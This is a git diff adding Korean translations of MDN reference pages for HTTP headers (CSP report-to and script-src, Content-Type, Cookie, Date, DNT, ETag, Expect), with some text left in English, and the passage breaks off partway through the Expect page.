Policy</li> +</ul> diff --git a/files/ko/web/http/headers/content-security-policy/report-to/index.html b/files/ko/web/http/headers/content-security-policy/report-to/index.html new file mode 100644 index 0000000000..2fe0b56b97 --- /dev/null +++ b/files/ko/web/http/headers/content-security-policy/report-to/index.html @@ -0,0 +1,80 @@ +--- +title: report-to +slug: Web/HTTP/Headers/Content-Security-Policy/report-to +translation_of: Web/HTTP/Headers/Content-Security-Policy/report-to +--- +<p> </p> + +<p><dfn><code>Report-To</code></dfn> HTTP 응답 해더 필드는 사용자 에이전트(브라우저)가 레포트를 저장하기 위한 origin의 엔드포인트를 지정합니다.</p> + +<pre>Content-Security-Policy: ...; report-to groupname +</pre> + +<p> </p> + +<p>이 지시어 자체로는 효과는 없지만 다른 지시문과 조합하여 의미를 가질 수 있습니다.</p> + +<table> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Reporting directive")}}</td> + </tr> + <tr> + <th colspan="2" scope="row">This directive is not supported in the {{HTMLElement("meta")}} element.</th> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre>Content-Security-Policy: report-to <json-field-value>;</pre> + +<h2 id="Examples">Examples</h2> + +<p>더 자세한 정보와 예제는 {{HTTPHeader("Content-Security-Policy-Report-Only")}} 를 확인하세요.</p> + +<pre><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to①">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group①">group</a>": "csp-endpoint", + "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age①">max-age</a>": 10886400, + "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints②">endpoints</a>": [ + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url②">url</a>": "https://example.com/csp-reports" } + ] }, + { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group②">group</a>": "hpkp-endpoint", + "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age②">max-age</a>": 10886400, + "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints③">endpoints</a>": [ + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url③">url</a>": "https://example.com/hpkp-reports" } + ] } +<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy①">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting①">report-to</a> csp-endpoint +</pre> + +<p> </p> + +<pre><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group">group</a>": "endpoint-1", + "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age">max-age</a>": 10886400, + "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints①">endpoints</a>": [ + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url">url</a>": "https://example.com/reports" }, + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url①">url</a>": "https://backup.com/reports" } + ] } + +<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting">report-to</a> endpoint-1</pre> + +<p> </p> + +<p>브라우저 호환성</p> + +<p>이 페이지의 호환성 테이블은 구조화된 데이터에서 생성됩니다. 데이터에 기여하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 확인하고 pull request를 보내주세요.</p> + +<p>{{Compat("http.headers.csp.report-to")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> +</ul> + +<p> </p> diff --git a/files/ko/web/http/headers/content-security-policy/script-src/index.html b/files/ko/web/http/headers/content-security-policy/script-src/index.html new file mode 100644 index 0000000000..98999637aa --- /dev/null +++ b/files/ko/web/http/headers/content-security-policy/script-src/index.html @@ -0,0 +1,167 @@ +--- +title: 'CSP: script-src' +slug: Web/HTTP/Headers/Content-Security-Policy/script-src +translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>script-src</strong></code> 는 자바스크립트트에 대한 검증된 출처를 지정합니다. 여기에는 {{HTMLElement("script")}} 요소에서 직접 호출한 URL뿐만 아니라, 인라인 스크립트 이벤트 핸들러(<code>onclick</code>) 및 스크립트를 실행할 수 있는 <a href="/en-US/docs/Web/XSLT">XSLT stylesheets</a> 가 포함됩니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} fallback</th> + <td>Yes. If this directive is absent, the user agent will look for the <code>default-src</code> directive.</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<p>하나 이상의 출처가 <code>script-src</code> 정책에 의해서 허용될 수 있습니다:</p> + +<pre class="syntaxbox">Content-Security-Policy: script-src <source>; +Content-Security-Policy: script-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<dl> + <dt>'report-sample'</dt> + <dd> Report에 위반 코드 샘플을 포함시키려면 이 항목을 추가 해야 합니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<h3 id="Violation_case">Violation case</h3> + +<p>주어진 CSP 헤더:</p> + +<pre class="brush: bash">Content-Security-Policy: script-src https://example.com/</pre> + +<p>아래 스크립트가 차단되어서 로드 또는 실행되지 않습니다:</p> + +<pre class="brush: html"><script src="https://not-example.com/js/library.js"></script></pre> + +<p>인라인 스크립트도 실행되지 않습니다:</p> + +<pre class="brush: html"><button id="btn" onclick="doSomething()"></pre> + +<p>{{domxref("EventTarget.addEventListener", "addEventListener")}}를 호출하는 것으로 대체해야 합니다.:</p> + +<pre class="brush: js">document.getElementById("btn").addEventListener('click', doSomething);</pre> + +<h3 id="안전하지_않은_인라인_스크립트">안전하지 않은 인라인 스크립트</h3> + +<div class="note"> +<p><strong>Note:</strong> 인라인 스타일 및 인라인 스크립트를 허용하지 않는 것이 CSP가 제공하는 가장 큰 보안 이점 중 하나 입니다. 그러나, 인라인 스크립트 및 스타일을 사용해야만 한다면 몇가지 방법을 제공합니다.</p> +</div> + +<p>인라인 스크립트 및 인라인 이벤트 핸들러를 허용하려면, <code>'unsafe-inline'</code>, 인라인 태그에 정의한 값과 동일한 nonce-source 또는 hash-source를 지정할 수 있습니다.</p> + +<pre class="brush: bash">Content-Security-Policy: script-src 'unsafe-inline'; +</pre> + +<p>위의 CSP는 {{HTMLElement("script")}} 태그를 허용합니다</p> + +<pre class="brush: html"><script> + var inline = 1; +</script></pre> + +<p>nonce-source를 사용하면 특정 인라인 스크립트 태그만 허용 할 수 있습니다:</p> + +<pre class="brush: bash">Content-Security-Policy: script-src 'nonce-2726c7f26c'</pre> + +<p>{{HTMLElement("script")}} 태그에 동일한 nonce를 설정해야 합니다 :</p> + +<pre class="brush: html"><script nonce="2726c7f26c"> + var inline = 1; +</script></pre> + +<p>또는, 인라인 스크립트에서 해시를 설정할 수 도 있습니다. CSP는 sha256, sha384 and sha512를 지원합니다.</p> + +<pre class="brush: bash">Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='</pre> + +<p>해시를 생성할 때에는 {{HTMLElement("script")}} 태그를 포함하지 말고, 대소문자, 태그의 앞뒤 공백이 포함되어야 하는 것을 유의해주십시요.</p> + +<pre class="brush: html"><script>var inline = 1;</script></pre> + +<h3 id="안전하지_않은_eval_표현식">안전하지 않은 eval 표현식</h3> + +<p><code>'unsafe-eval'</code> 출처 표현식은 문자열에서 코드를 생성하는 여러 스크립트 실행 메소드를 제어합니다. 만약<code>'unsafe-eval'</code> 이 <code>script-src</code> 에 정의되어 있지 않으면, 아래믜 명령어는 차단되며 아무런 효과가 일어나지 않습니다.</p> + +<ul> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code></li> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code></li> + <li>아래와 같이 문자열 리터럴을 전달할 때 :<br> + <code>window.setTimeout("alert(\"Hello World!\");", 500);</code> + <ul> + <li>{{domxref("window.setTimeout")}}</li> + <li>{{domxref("window.setInterval")}}</li> + <li>{{domxref("window.setImmediate")}}</li> + </ul> + </li> + <li>{{domxref("window.execScript")}} {{non-standard_inline}} (IE < 11 only)</li> +</ul> + +<h3 id="strict-dynamic"><code>strict-dynamic</code></h3> + +<p>The <code>'strict-dynamic</code>' source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. At the same time, any whitelist or source expressions such as <code>'self'</code> or <code>'unsafe-inline'</code> will be ignored. For example, a policy such as <code>script-src 'strict-dynamic' 'nonce-R4nd0m' https://whitelisted.com/</code> would allow loading of a root script with <code><script nonce="R4nd0m" src="https://example.com/loader.js"></code> and propogate that trust to any script loaded by <code>loader.js</code>, but disallow loading scripts from <code>https://whitelisted.com/</code> unless accompanied by a nonce or loaded from a trusted script.</p> + +<pre class="brush: bash">script-src 'strict-dynamic' 'nonce-<em>someNonce</em>'</pre> + +<p><em>Or</em></p> + +<pre class="brush: bash">script-src 'strict-dynamic' 'sha256-<em>base64EncodedHash</em>'</pre> + +<p>It is possible to deploy <code>strict-dynamic</code> in a backwards compatible way, without requiring user-agent sniffing.<br> + The policy:</p> + +<pre class="brush: bash">script-src 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'</pre> + +<p>will act like<code>'unsafe-inline' https:</code> in browsers that support CSP1, <code>https: 'nonce-abcdefg'</code> in browsers that support CSP2, and <code>'nonce-abcdefg' 'strict-dynamic'</code> in browsers that support CSP3.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-script-src", "script-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>No changes.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-script-src", "script-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.script-src")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("script")}}</li> +</ul> diff --git a/files/ko/web/http/headers/content-type/index.html b/files/ko/web/http/headers/content-type/index.html new file mode 100644 index 0000000000..494b9e0ad7 --- /dev/null +++ b/files/ko/web/http/headers/content-type/index.html @@ -0,0 +1,108 @@ +--- +title: Content-Type +slug: Web/HTTP/Headers/Content-Type +translation_of: Web/HTTP/Headers/Content-Type +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Content-Type</code></strong> 개체 헤더는 리소스의 {{Glossary("MIME type","media type")}}을 나타내기 위해 사용됩니다.</p> + +<p>응답 내에 있는 <code>Content-Type</code> 헤더는 클라이언트에게 반환된 컨텐츠의 컨텐츠 유형이 실제로 무엇인지를 알려줍니다. 브라우저들은 어떤 경우에는 MIME 스니핑을 해서 이 헤더의 값을 꼭 따르지는 않을 겁니다; 이를 막기 위해, {{HTTPHeader("X-Content-Type-Options")}} 헤더를 <code>nosniff</code>으로 설정할 수 있습니다.</p> + +<p>요청 내에서, ({{HTTPMethod("POST")}} 혹은 {{HTTPMethod("PUT")}}처럼), 클라이언트는 서버에게 어떤 유형의 데이터가 실제로 전송됐는지를 알려줍니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">헤더 유형</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Content-Type: text/html; charset=utf-8 +Content-Type: multipart/form-data; boundary=something +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><code>media-type</code></dt> + <dd>리소스 혹은 데이터의 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>.</dd> + <dt>charset</dt> + <dd>문자 인코딩 표준.</dd> + <dt>boundary</dt> + <dd>멀티파트 개체에 대해 <code>boundary</code> 디렉티브는 필수인데, 이메일 게이트를 통해 매우 탄탄해졌다고 알려진 캐릭터셋의 1~70개의 문자들로 구성되며, 빈 공백으로 끝나지 않습니다. 이는 메시지의 멀티 파트 경계선을 캡슐화하기 위해 사용됩니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<h3 id="Content-Type_in_HTML_forms"><code>Content-Type</code> in HTML forms</h3> + +<p>HTML 폼 전송으로 일어나는 {{HTTPMethod("POST")}} 요청 내에서, 요청의 <code>Content-Type</code>은 {{HTMLElement("form")}} 요소 상의 <code>enctype</code> 속성에 의해 지정됩니다.</p> + +<pre class="brush: html"><form action="/" method="post" enctype="multipart/form-data"> + <input type="text" name="description" value="some text"> + <input type="file" name="myFile"> + <button type="submit">Submit</button> +</form> +</pre> + +<p>요청은 다음과 같을 겁니다(여기서 설명할 필요가 없는 헤더들은 생략되었습니다):</p> + +<pre>POST /foo HTTP/1.1 +Content-Length: 68137 +Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575 +Content-Disposition: form-data; name="description" +---------------------------974767299852498929531610575 + +some text + +---------------------------974767299852498929531610575 +Content-Disposition: form-data; name="myFile"; filename="foo.txt" +Content-Type: text/plain + +(content of the uploaded file foo.txt) + +---------------------------974767299852498929531610575-- +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + <tr> + <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Accept")}}과 {{HTTPHeader("Accept-Charset")}}</li> + <li>{{HTTPHeader("Content-Disposition")}}</li> + <li>{{HTTPStatus("206")}} Partial Content</li> + <li>{{HTTPStatus("X-Content-Type-Options")}}</li> +</ul> diff --git a/files/ko/web/http/headers/cookie/index.html b/files/ko/web/http/headers/cookie/index.html new file mode 100644 index 0000000000..d3417b58d6 --- /dev/null +++ b/files/ko/web/http/headers/cookie/index.html @@ -0,0 +1,66 @@ +--- +title: Cookie +slug: Web/HTTP/Headers/Cookie +translation_of: Web/HTTP/Headers/Cookie +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Cookie</code></strong> HTTP 요청 헤더는 {{HTTPHeader("Set-Cookie")}} 헤더와 함께 서버에 의해 이전에 전송되어 저장된 <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>를 포함합니다.</p> + +<p><code>Cookie</code> 헤더는 선택적(optional)이고, 만약 브라우저의 사생활 보호 설정(privacy settings)이 쿠키를 block할 경우 생략될 수도 있습니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Cookie: <cookie-list> +Cookie: name=value +Cookie: name=value; name2=value2; name3=value3</pre> + +<dl> + <dt><cookie-list></dt> + <dd><code><cookie-name>=<cookie-value></code> 형태를 띄는 이름-값 쌍의 목록입니다. 목록 내 쌍들은 세미콜록과 공백(<code>'; '</code>)으로 구분됩니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;</pre> + +<h2 id="명세서">명세서</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("6265", "Cookie", "5.4")}}</td> + <td>HTTP State Management Mechanism</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Cookie")}}</p> + +<h2 id="함께_참고할_내용들">함께 참고할 내용들</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/ko/web/http/headers/date/index.html b/files/ko/web/http/headers/date/index.html new file mode 100644 index 0000000000..d67d42ebc8 --- /dev/null +++ b/files/ko/web/http/headers/date/index.html @@ -0,0 +1,81 @@ +--- +title: Date +slug: Web/HTTP/Headers/Date +translation_of: Web/HTTP/Headers/Date +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Date</code></strong> 일반 HTTP 헤더는 메시지가 만들어진 날짜와 시간을 포함합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><day-name></dt> + <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 혹은 "Sun" 중 하나 (대소문자 구분).</dd> + <dt><day></dt> + <dd>2자리의 일자 번호, 예를 들어 "04" 혹은 "23".</dd> + <dt><month></dt> + <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나 (대소문자 구분).</dd> + <dt><year></dt> + <dd>4자리의 연도 번호, 예를 들어, "1990" 혹은 "2016".</dd> + <dt><hour></dt> + <dd>2자리의 시간 번호, 예를 들어, "09" 혹은 "23".</dd> + <dt><minute></dt> + <dd>2자리의 분 번호, 예를 들어, "04" 혹은 "59".</dd> + <dt><second></dt> + <dd>2자리의 초 번호, 예를 들어, "04" 혹은 "59".</dd> + <dt>GMT</dt> + <dd> + <p>Greenwich 표준시. HTTP에서 날짜는 항상 지역 시간이 아닌 GMT로 표현됩니다.</p> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="명세서">명세서</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Date", "7.1.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Age")}}</li> +</ul> diff --git a/files/ko/web/http/headers/dnt/index.html b/files/ko/web/http/headers/dnt/index.html new file mode 100644 index 0000000000..ce5f0d3447 --- /dev/null +++ b/files/ko/web/http/headers/dnt/index.html @@ -0,0 +1,83 @@ +--- +title: DNT +slug: Web/HTTP/Headers/DNT +translation_of: Web/HTTP/Headers/DNT +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>DNT</code></strong> (<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack) 요청 헤더는 사용자의 트래킹 선호 설정을 가르킵니다. 이는 개인화 컨텐츠가 아닌 사생활 정보를 더 It lets users indicate whether would prefer privacy rather than personalized content.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">DNT: 0 +DNT: 1 +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt>0</dt> + <dd>사용자가 대상 사이트에 대해 트래킹을 허용하는 것을 말합니다.</dd> + <dt>1</dt> + <dd>사용자가 대상 사이트에 대해 트래킹을 원하지 않는 것을 말합니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<h3 id="JavaScript를_통해_Do_Not_Track_상태_읽기">JavaScript를 통해 Do Not Track 상태 읽기</h3> + +<p>사용자의 DNT 선호 설정은 {{domxref("Navigator.doNotTrack")}} 프로퍼티를 사용해 JavaScript로도 읽을 수 있씁니다:</p> + +<pre class="brush: js">navigator.doNotTrack; // "0" or "1"</pre> + +<h2 id="명세서">명세서</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">상태</th> + <th scope="col">주석</th> + </tr> + <tr> + <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td> + <td>{{Spec2("Tracking")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{domxref("Navigator.doNotTrack")}}</li> + <li>{{HTTPHeader("Tk")}} header</li> + <li><a href="https://en.wikipedia.org/wiki/Do_Not_Track">Do Not Track on Wikipedia</a></li> + <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">What Does the "Track" in "Do Not Track" Mean? – EFF</a></li> + <li><a href="http://donottrack.us/">donottrack.us</a></li> + <li>DNT browser settings help: + <ul> + <li><a href="https://www.mozilla.org/en-US/firefox/dnt/">Firefox</a></li> + <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li> + </ul> + </li> +</ul> diff --git a/files/ko/web/http/headers/etag/index.html b/files/ko/web/http/headers/etag/index.html new file mode 100644 index 0000000000..ef3d25d221 --- /dev/null +++ b/files/ko/web/http/headers/etag/index.html @@ -0,0 +1,99 @@ +--- +title: ETag +slug: Web/HTTP/Headers/ETag +translation_of: Web/HTTP/Headers/ETag +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>ETag</strong> HTTP 응답 헤더는 특정 버전의 리소스를 식별하는 식별자입니다. 웹 서버가 내용을 확인하고 변하지 않았으면, 웹 서버로 full 요청을 보내지 않기 때문에, 캐쉬가 더 효율적이게 되고, 대역폭도 아낄 수 있습니다. 허나, 만약 내용이 변경되었다면, "mid-air collisions" 이라는 리소스 간의 동시 다발적 수정 및 덮어쓰기 현상을 막는데 유용하게 사용됩니다.</p> + +<p>만약 특정 URL 의 리소스가 변경된다면, 새로운 ETag 가 생성됩니다. ETag 는 지문과 같은 역할을 하면서 다른 서버들이 추적하는 용도에 이용되기도 합니다. ETag 를 비교하여 리소스가 서로 같은지의 여부를 빠르게 판단할 수 있지만, 서버에서 무기한으로 지속될 수 있도록 설정할 수도 있습니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">ETag: W/"<etag_value>" +ETag: "<etag_value>" +</pre> + +<h2 id="참고">참고</h2> + +<dl> + <dt><code>W/</code> {{optional_inline}}</dt> + <dd><code>'W/'</code> (대/소문자를 구분합니다.) <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">weak validator</a> 가 사용되었음을 나타냅니다. Weak validators 는 만들기는 쉽지만 비교하기에는 효율성이 떨어집니다. Strong validators 는 비교하기에는 이상적이지만 효율적으로 만들기가 어렵습니다. 동일한 자원의 두 가지 Weak <code>Etag</code> 값은 동일할 수 있지만, 바이트 단위까지 동일하진 않습니다.</dd> + <dt>"<etag_value>"</dt> + <dd>Entity tags 는 요청된 값을 ASCII 코드와 같이 고유한 형태로 나타냅니다. (예 : <code>"675af34563dc-tr34"</code>)<br> + <code>ETag</code> 의 값을 생성하는 방법(Method)은 단순히 한가지로 정해져있진 않습니다. 때때로, 콘텐츠의 해시, 마지막으로 수정된 타임스탬프의 해시, 혹은 그냥 개정번호를 이용합니다. 예를들어, MDN 는 wiki(콘텐츠)의 16진수 해시를 사용합니다.</dd> +</dl> + +<h2 id="예시">예시</h2> + +<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" +ETag: W/"0815"</pre> + +<h3 id="Avoiding_mid-air_collisions">Avoiding mid-air collisions</h3> + +<p>With the help of the <code>ETag</code> and the {{HTTPHeader("If-Match")}} headers, you are able to detect mid-air edit collisions.</p> + +<p>For example when editing MDN, the current wiki content is hashed and put into an <code>Etag</code> in the response:</p> + +<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4</pre> + +<p>When saving changes to a wiki page (posting data), the {{HTTPMethod("POST")}} request will contain the {{HTTPHeader("If-Match")}} header containing the <code>ETag</code> values to check freshness against.</p> + +<pre>If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + +<p>If the hashes don't match, it means that the document has been edited in-between and a {{HTTPStatus("412")}}<code> Precondition Failed</code> error is thrown.</p> + +<h3 id="Caching_of_unchanged_resources">Caching of unchanged resources</h3> + +<p>Another typical use case of the <code>ETag</code> header is to cache resources that are unchanged. If a user visits a given URL again (that has an <code>ETag</code> set), and it is <em>stale</em>, that is too old to be considered usable, the client will send the value of its <code>ETag</code> along in an {{HTTPHeader("If-None-Match")}} header field:</p> + +<pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + +<p>The server compares the client's <code>ETag</code> (sent with <code>If-None-Match</code>) with the <code>ETag</code> for its current version of the resource and if both values match (that is, the resource has not changed), the server send back a {{HTTPStatus("304")}}<code> Not Modified</code> status, without any body, which tells the client that the cached version of the response is still good to use (<em>fresh</em>).</p> + +<h2 id="사양">사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7232", "ETag", "2.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/headers/etag")}}</p> + +<h2 id="참고_2">참고</h2> + +<ul> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> + <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> + <li> + <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p> + </li> +</ul> diff --git a/files/ko/web/http/headers/expect/index.html b/files/ko/web/http/headers/expect/index.html new file mode 100644 index 0000000000..a984fcd776 --- /dev/null +++ b/files/ko/web/http/headers/expect/index.html @@ -0,0 +1,90 @@ +--- +title: Expect +slug: Web/HTTP/Headers/Expect +translation_of: Web/HTTP/Headers/Expect +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Expect</code></strong> HTTP 요청 헤더는 요청을 적절하게 처리하기 위해 서버가 반환할 기대값을 나타냅니다.</p> + +<p>명세에 정의된 유일한 기대값인 <code>Expect: 100-continue</code>에 대해, 서버는 다음과 같이 응답합니다:</p> + +<p> </p> + +<ul> + <li>{{HTTPStatus("100")}} 헤더에 포함된 정보가, 즉시 성공으로 응답하기 충분할 때</li> + <li>{{HTTPStatus("417")}} (Expectation Failed) 기대값을 충족하지 못했거나; 어쨌든 4xx 상태일 때</li> +</ul> + +<p> </p> + +<p>예를들어, 요청의 {{HTTPHeader("Content-Length")}} 값이 너무 크다면 서버는 이를 거절할 수도 있습니다.</p> + 